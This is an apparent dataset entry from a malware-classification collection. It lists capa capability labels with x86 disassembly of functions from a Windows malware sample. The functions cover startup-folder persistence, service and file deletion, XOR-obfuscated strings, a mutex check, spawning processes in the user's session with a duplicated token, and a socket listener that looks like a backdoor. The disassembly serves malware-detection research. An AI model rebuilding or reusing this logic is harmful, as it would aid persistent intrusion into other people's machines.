joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404b50
Capabilities:
Contain obfuscated stackstrings
Delete file
Delete service
Get common file path
Get startup folder
Move file
Set file attributes
Write file to startup folder

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x674
mov eax, dword [0x418714]
test eax, eax
jne 0x404c61
push esi
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x46c]
push 0x104
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x46c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
lea ecx, [ebp - 0x368]
push 7
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push str.aeea06288d926b9eba59409f2e01aba6
lea edx, [ebp - 0x5c]
push str._s.exe
push edx
call esi
lea eax, [ebp - 0x5c]
lea ecx, [ebp - 0x368]
push eax
push ecx
lea edx, [ebp - 0x674]
push 0x418038
push edx
call esi
add esp, 0x1c
lea eax, [ebp - 0x570]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, 0x39
lea ecx, [ebp - 0x570]
push eax
push ecx
lea edx, [ebp - 0x264]
push str._s_x.sg
push edx
call esi
add esp, 0x10
lea eax, [ebp - 0x264]
lea ecx, [ebp - 0x674]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 4
lea edx, [ebp - 0x264]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea eax, [ebp - 0x368]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 0xf01ff
push str.DirectX_ufo
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push eax
call dword [sym.imp.ADVAPI32.dll_DeleteService]
pop edi
pop esi
lea ecx, [ebp - 0x160]
push 0x104
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov al, 0x6f
lea edx, [ebp - 0xc]
mov byte [ebp - 0xb], al
mov byte [ebp - 7], al
lea eax, [ebp - 0x160]
push edx
push eax
mov byte [ebp - 0xc], 0x5c
mov byte [ebp - 0xa], 0x75
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x6c
mov byte [ebp - 6], 0x67
mov byte [ebp - 5], 0x2e
mov byte [ebp - 4], 0x64
mov byte [ebp - 3], 0x61
mov byte [ebp - 2], 0x74
mov byte [ebp - 1], 0
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [ebp - 0x160]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
nop
nop
nop
nop
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.BITS
push str.6gkIBfkSqY
push str.aeea06288d926b9eba59409f2e01aba6
call fcn.0040da10
add esp, 0xc
call fcn.004049d0
push 0
call sub.MSVCRT.dll_exit
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x405360
Capabilities:
Delete registry key
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x415418
push 0x413b46
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
mov eax, dword [ebp + 0x20]
cmp eax, 3
ja case.default.0x405397
jmp dword [eax*4 + 0x4054dc]
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x24]
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne case.default.0x405397
lea ecx, [ebp - 0x24]
push ecx
push 0x2001f
push ebx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x405397
mov esi, dword [ebp + 0x14]
cmp esi, ebx
jbe case.default.0x405397
cmp esi, 2
jbe 0x405420
cmp esi, 4
jne case.default.0x405397
push esi
lea ecx, [ebp + 0x1c]
push ecx
push esi
push ebx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne case.default.0x405397
jmp 0x4054a1
mov edi, dword [ebp + 0x18]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push edi
push esi
push ebx
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne case.default.0x405397
jmp 0x4054a1
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push ebx
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x405397
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne case.default.0x405397
jmp 0x4054a1
lea edx, [ebp - 0x24]
push edx
push 0x2001f
push ebx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x405397
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne case.default.0x405397
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0xffffffff
call fcn.004054c8
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x405650
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp]
push eax
push ecx
mov dword [esp + 8], 0
call fcn.004054f0
add esp, 8
xor ecx, ecx
test eax, eax
jle 0x405698
push ebx
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
add bl, 0x6d
mov byte [ecx + edx], bl
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
xor bl, 0x13
mov byte [ecx + edx], bl
inc ecx
cmp ecx, eax
jl 0x405672
mov eax, dword [esp + 4]
pop ebx
pop ecx
ret
mov eax, dword [esp]
pop ecx
ret
Function at 0x4056a0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x310
mov ax, word [0x418750]
mov cl, byte [0x418752]
push ebx
push esi
push edi
mov byte [esp + 0x11e], cl
mov word [esp + 0x11c], ax
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x11f]
rep stosd dword es:[edi], eax
mov dx, word [0x41874c]
mov ecx, 0x3f
stosb byte es:[edi], al
mov al, byte [0x41874e]
lea edi, [esp + 0x1f]
mov byte [esp + 0x1e], al
xor eax, eax
mov word [esp + 0x1c], dx
lea edx, [esp + 0x11c]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
or ecx, 0xffffffff
lea edi, [esp + 0x1c]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x1c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 6
mov esi, str.HARDWAREDESCRIPTIONSys
lea edi, [esp + 0x1c]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x39
lea edi, [esp + 0x35]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 5
mov esi, str.temCentralProcessor0
lea edi, [esp + 0x21c]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x3a
lea edi, [esp + 0x233]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
lea edi, [esp + 0x21c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov eax, 4
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
lea eax, [esp + 0xc]
lea ecx, [esp + 0x1c]
push eax
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea edx, [esp + 0x14]
lea eax, [esp + 0x10]
push edx
lea ecx, [esp + 0x1c]
push eax
mov eax, dword [esp + 0x14]
push ecx
lea edx, [esp + 0x128]
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebx
add esp, 0x310
ret
Function at 0x405dd0
Capabilities:
Check mutex on windows

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x414376
push eax
mov eax, 0x9e7c
mov dword fs:[0], esp
call fcn.00413ab0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push str.8woIt77QCbPQEvn9D_nDQXQEAn6pg
call fcn.00405650
add esp, 4
push eax
lea eax, [esp + 0xc8]
push str._s__d
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push str.8woIt77QCbPQEvn9D_nDQXQEAn6pg
call fcn.00405650
add esp, 0x14
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x405e47
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x405e47
push 0
call sub.MSVCRT.dll_exit
push ebx
push ebp
push esi
push edi
lea ecx, [esp + 0x14]
call fcn.00401400
mov ebx, dword [sym.imp.KERNEL32.dll_OpenEventA]
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0x9e94], 0
mov byte [esp + 0x13], 0
mov al, byte [esp + 0x13]
test al, al
je 0x405eb7
cmp al, 3
je 0x405eb7
xor edi, edi
lea ecx, [esp + 0xd0]
push ecx
push 0
push 0x1f0003
call ebx
mov esi, eax
test esi, esi
jne 0x405ea7
push 0xc8
call ebp
inc edi
cmp edi, 0x3e8
jl 0x405e7e
jmp 0x405eb7
lea ecx, [esp + 0x14]
call fcn.00401ae0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.8woIt77QCbPQEvn9D_nDQXQEAn6pg
call fcn.00405650
push str.tba0vb2m
mov dword [0x41ab74], eax
call fcn.00405650
push eax
call sub.MSVCRT.dll_atoi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
add esp, 0xc
mov dword [0x41ab64], eax
call edi
mov edx, dword [0x41ab64]
mov esi, eax
mov eax, dword [0x41ab74]
push edx
push eax
lea ecx, [esp + 0x1c]
call fcn.004016d0
test al, al
jne 0x405f0c
mov byte [esp + 0x13], 2
jmp 0x405e70
call edi
sub eax, esi
lea ecx, [esp + 0x14]
push eax
push ecx
push 0
call fcn.00405a80
mov edx, dword [0x41ab64]
mov eax, dword [0x41ab74]
add esp, 0xc
lea ecx, [esp + 0xd0]
push edx
push eax
lea edx, [esp + 0x1c]
push ecx
push edx
lea ecx, [esp + 0x144]
call fcn.004046a0
lea eax, [esp + 0x134]
lea ecx, [esp + 0x14]
push eax
mov byte [esp + 0x9e98], 1
call fcn.00401dc0
xor esi, esi
lea ecx, [esp + 0x134]
call fcn.00404d00
test al, al
jne 0x405f7e
push 0x3e8
call ebp
inc esi
cmp esi, 0xa
jl 0x405f61
lea ecx, [esp + 0x134]
call fcn.00404d00
test al, al
jne 0x405fa7
lea ecx, [esp + 0x134]
mov byte [esp + 0x9e94], 0
call fcn.00404720
jmp 0x405e70
call edi
lea ecx, [esp + 0xd0]
push ecx
push 0
push 0x1f0003
call ebx
mov edx, dword [esp + 0xc0]
push 0x64
push edx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x1f4
mov edi, eax
call ebp
test esi, esi
jne 0x405fdf
test edi, edi
jne 0x405fa9
jmp 0x405f8e
lea ecx, [esp + 0x14]
call fcn.00401ae0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x134]
mov byte [esp + 0x9e94], 0
call fcn.00404720
lea ecx, [esp + 0x14]
mov dword [esp + 0x9e94], 0xffffffff
call fcn.00401600
mov ecx, dword [esp + 0x9e8c]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov dword fs:[0], ecx
add esp, 0x9e88
ret
Function at 0x4062d0
Capabilities:
Create process on windows
Create process suspended

Disassembly:
sub esp, 0x68
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebp
push esi
push edi
push str.userenv.dll
call ebx
mov ebp, eax
push str.CreateEnvironmentBlock
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0x20], eax
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x34]
rep stosd dword es:[edi], eax
mov dword [esp + 0x24], eax
xor esi, esi
mov dword [esp + 0x28], eax
mov dword [esp + 0x1c], esi
mov dword [esp + 0x2c], eax
mov dword [esp + 0x18], esi
mov dword [esp + 0x30], eax
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], esi
mov dword [esp + 0x24], esi
mov dword [esp + 0x28], esi
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], esi
mov dword [esp + 0x34], 0x44
mov dword [esp + 0x3c], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [esp + 0x14]
push ecx
push 0xf01ff
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x10]
push edx
push 1
push 1
push esi
push 0x2000000
push eax
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
push str.WTSGetActiveConsoleSessionId
push str.Kernel32.dll
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, esi
je 0x4063fc
call eax
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x18]
push 4
push ecx
push 0xc
push edx
mov dword [esp + 0x28], eax
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
mov eax, dword [esp + 0x10]
push esi
lea ecx, [esp + 0x20]
push eax
push ecx
call dword [esp + 0x2c]
mov ecx, dword [esp + 0x1c]
lea edx, [esp + 0x24]
lea eax, [esp + 0x34]
push edx
mov edx, dword [esp + 0x80]
push eax
mov eax, dword [esp + 0x18]
push esi
push ecx
push 0x430
push esi
push esi
push esi
push edx
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
mov ecx, dword [esp + 0x10]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x24]
push ecx
call ebx
mov edx, dword [esp + 0x14]
push edx
call ebx
jmp 0x4063fe
xor edi, edi
cmp ebp, esi
je 0x406409
push ebp
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x68
ret
Function at 0x406e50
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x12c
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x35]
mov byte [esp + 0x34], 0
mov dl, 0x53
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov cl, 0x72
mov al, 0x65
mov byte [esp + 0x15], cl
mov byte [esp + 0x16], cl
mov byte [esp + 0x17], al
mov bl, 0x74
mov byte [esp + 0x1e], cl
mov byte [esp + 0x22], al
mov byte [esp + 0x26], al
mov byte [esp + 0x27], cl
mov byte [esp + 0x2b], al
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0xc], dl
mov byte [esp + 0xd], 0x59
mov byte [esp + 0xe], dl
mov byte [esp + 0xf], 0x54
mov byte [esp + 0x10], 0x45
mov byte [esp + 0x11], 0x4d
mov byte [esp + 0x12], 0x5c
mov byte [esp + 0x13], 0x43
mov byte [esp + 0x14], 0x75
mov byte [esp + 0x18], 0x6e
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x43
mov byte [esp + 0x1b], 0x6f
mov byte [esp + 0x1c], 0x6e
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1f], 0x6f
mov byte [esp + 0x20], 0x6c
mov byte [esp + 0x21], dl
mov byte [esp + 0x23], bl
mov byte [esp + 0x24], 0x5c
mov byte [esp + 0x25], dl
mov byte [esp + 0x28], 0x76
mov byte [esp + 0x29], 0x69
mov byte [esp + 0x2a], 0x63
mov byte [esp + 0x2c], 0x73
mov byte [esp + 0x2d], 0x5c
mov byte [esp + 0x2e], 0
lea edx, [esp + 0x34]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x34]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.DirectX_ufo
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
lea eax, [esp + 0x30]
rep movsb byte es:[edi], byte [esi]
push eax
push 0xf003f
lea ecx, [esp + 0x3c]
push 0
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop edi
pop esi
test eax, eax
pop ebx
jne 0x406fa3
mov edx, dword [esp + 0x24]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
add esp, 0x12c
ret
xor eax, eax
add esp, 0x12c
ret
Function at 0x407170
Capabilities:
Create thread

Disassembly:
sub esp, 0x10c
push ebx
push ebp
push esi
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor esi, esi
push 0x41ab80
stosb byte es:[edi], al
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [0x41ae9c]
push 0x41ab80
inc ecx
mov dword [0x41ae9c], ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edi, dword [esp + 0x128]
lea eax, [esp + 0x14]
push eax
push edi
mov dword [esp + 0x1c], esi
call fcn.00407040
add esp, 8
cmp eax, esi
je 0x40730f
mov ebx, dword [esp + 0x120]
cmp eax, 1
je 0x407256
cmp eax, 2
je 0x407256
cmp eax, 3
je 0x407256
cmp eax, 4
jne 0x4072cf
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x130]
lea edx, [esp + 0x20]
sub ecx, eax
push edx
add eax, edi
push ecx
push eax
call fcn.00406fb0
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
push edx
lea ecx, [ebx + 4]
push eax
push ecx
call fcn.00407800
add esp, 0x1c
test eax, eax
je 0x40730f
mov edi, str.HTTP_1.0_200_OK_r_n_r_n
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [ebx]
repne scasb al, byte es:[edi]
not ecx
push esi
push ecx
push str.HTTP_1.0_200_OK_r_n_r_n
push edx
call dword [0x41a13c]
jmp 0x4072cf
mov eax, dword [esp + 0x14]
mov esi, dword [esp + 0x12c]
mov ecx, dword [esp + 0x124]
push eax
push esi
push edi
push ecx
call fcn.004070e0
mov ebp, eax
add esp, 0x10
test ebp, ebp
je 0x40730f
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
mov eax, dword [esp + 0x1c]
sub esi, eax
sub esi, 7
lea ecx, [eax + edi + 7]
push esi
push ecx
call fcn.00406fb0
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
lea esi, [ebx + 4]
push edx
push eax
push esi
call fcn.00407800
add esp, 0x1c
test eax, eax
je 0x40730f
mov ecx, dword [esp + 0x124]
mov edx, dword [esi]
push 0
push ebp
push ecx
push edx
call dword [0x41a13c]
cmp eax, 0xffffffff
je 0x40730f
cmp dword [ebx], 0
je 0x40730f
mov eax, dword [ebx + 4]
test eax, eax
je 0x40730f
lea eax, [esp + 0x18]
push eax
push 0
push ebx
push 0x408290
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x4072ff
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x10c
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10c
ret
Function at 0x407d40
Capabilities:
Create thread

Disassembly:
sub esp, 0x1a4
lea eax, [esp + 0x14]
push edi
push eax
push 0x202
call dword [0x41a174]
test eax, eax
jne 0x407e2e
push 6
push 1
push 2
call dword [0x41a12c]
mov edi, eax
cmp edi, 0xffffffff
je 0x407e2e
mov dx, word [0x41ab98]
xor ecx, ecx
mov dword [esp + 6], ecx
push edx
mov dword [esp + 0xe], ecx
mov word [esp + 8], 2
mov dword [esp + 0x12], ecx
mov word [esp + 0x16], cx
call dword [0x41a124]
mov word [esp + 6], ax
lea eax, [esp + 4]
push 0x10
push eax
push edi
mov dword [esp + 0x14], 0
call dword [0x41a150]
cmp eax, 0xffffffff
je 0x407e2e
push ebx
push ebp
push esi
push 0x32
push edi
call dword [0x41a15c]
cmp eax, 0xffffffff
jne 0x407ddc
pop esi
pop ebp
pop ebx
xor eax, eax
pop edi
add esp, 0x1a4
ret
mov ebx, dword [0x41a158]
mov ebp, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push edi
call ebx
push 8
mov esi, eax
call sub.MSVCRT.dll_malloc
add esp, 4
test eax, eax
je 0x407de8
lea ecx, [esp + 0x20]
mov dword [eax], esi
push ecx
push 0
push eax
push 0x407a40
push 0
push 0
call ebp
test eax, eax
jne 0x407e25
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x407de8
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x407de8
xor eax, eax
pop edi
add esp, 0x1a4
ret

Function at 0x408cb0
Capabilities:
Get session information

Disassembly:
sub esp, 8
lea ecx, [esp + 4]
lea edx, [esp]
push ecx
mov ecx, dword [esp + 0x10]
push edx
xor eax, eax
push 0xa
push ecx
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
mov eax, dword [esp]
jne 0x408ce0
mov eax, dword [esp + 0xc]
add esp, 8
ret 4

Function at 0x408cf0
Capabilities:
Get session information
Get session user name

Disassembly:
sub esp, 0x30c
mov edx, dword [esp + 0x310]
lea eax, [esp + 4]
lea ecx, [esp]
push eax
push ecx
push 5
push edx
push 0
mov dword [esp + 0x14], 0
call sub.WTSAPI32.dll_WTSQuerySessionInformationW
test eax, eax
jne 0x408d26
xor al, al
add esp, 0x30c
ret
mov eax, dword [esp]
push edi
lea ecx, [esp + 0x110]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edx, dword [esp + 4]
push edx
call sub.WTSAPI32.dll_WTSFreeMemory
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0
push 0
lea eax, [esp + 0x14]
push 0x104
push eax
lea ecx, [esp + 0x120]
push 0xffffffffffffffff
push ecx
push 0x200
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov eax, dword [esp + 0x318]
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov al, 1
pop edi
add esp, 0x30c
ret
Function at 0x408da0
Capabilities:
Get session information

Disassembly:
sub esp, 8
mov edx, dword [esp + 0xc]
lea eax, [esp + 4]
push esi
lea ecx, [esp + 4]
push eax
push ecx
xor esi, esi
push 0x10
push edx
push esi
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x408e29
mov ecx, dword [esp + 4]
movsx eax, byte [ecx]
sub eax, esi
je 0x408e02
dec eax
je 0x408dee
dec eax
jne 0x408e16
push ecx
mov esi, 0x418930
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
add esp, 8
ret 4
push ecx
mov esi, 0x41892c
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
add esp, 8
ret 4
push ecx
mov esi, str.Console
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
add esp, 8
ret 4
mov esi, dword [esp + 0x10]
push ecx
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
add esp, 8
ret 4
mov eax, dword [esp + 0x10]
pop esi
add esp, 8
ret 4

Function at 0x4093f0
Capabilities:
Get memory capacity

Disassembly:
sub esp, 0x40
push esi
push edi
push 0x14
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0xc]
add esp, 4
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov ecx, 0x14
call fcn.00413b60
add eax, 1
adc edx, 0
push edx
push eax
push 0x418988
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov eax, esi
pop edi
pop esi
add esp, 0x40
ret
Function at 0x409520
Capabilities:
List groups for user account

Disassembly:
sub esp, 0x310
push ebx
push ebp
push esi
push edi
xor esi, esi
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x122]
mov word [esp + 0x120], si
mov byte [esp + 0x20], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x21]
push pe_nt_image_headers32
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [esp + 0x328]
lea ecx, [esp + 0x124]
push eax
push ecx
mov dword [esp + 0x24], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x28], esi
call sub.MSVCRT.dll_mbstowcs
add esp, 0xc
lea edx, [esp + 0x1c]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x18]
push edx
push eax
push 0xffffffffffffffff
push ecx
push 1
lea edx, [esp + 0x134]
push esi
push edx
push esi
call sub.NETAPI32.dll_NetUserGetLocalGroups
test eax, eax
jne 0x409662
mov ebp, dword [esp + 0x18]
cmp ebp, esi
je 0x409662
mov eax, dword [esp + 0x10]
mov dword [esp + 0x14], esi
cmp eax, esi
jbe 0x409662
mov ebx, dword [esp + 0x328]
jmp 0x4095d5
xor esi, esi
cmp ebp, esi
je 0x409662
mov eax, dword [ebp]
push eax
call sub.MSVCRT.dll_wcslen
inc eax
push eax
call sub.MSVCRT.dll_malloc
mov ecx, dword [ebp]
mov esi, eax
push ecx
push 0x41898c
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
push pe_nt_image_headers32
lea edx, [esp + 0x38]
push esi
push edx
call sub.MSVCRT.dll_strncpy
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
add esp, 0x20
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0x20]
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
test edx, edx
je 0x409635
mov byte [edx + ebx], 0x2f
inc edx
xor eax, eax
test ecx, ecx
jle 0x40964a
lea esi, [edx + ebx]
mov dl, byte [esp + eax + 0x20]
mov byte [esi + eax], dl
inc eax
cmp eax, ecx
jl 0x40963e
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
add ebp, 4
inc eax
cmp eax, ecx
mov dword [esp + 0x14], eax
jb 0x4095d3
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x310
ret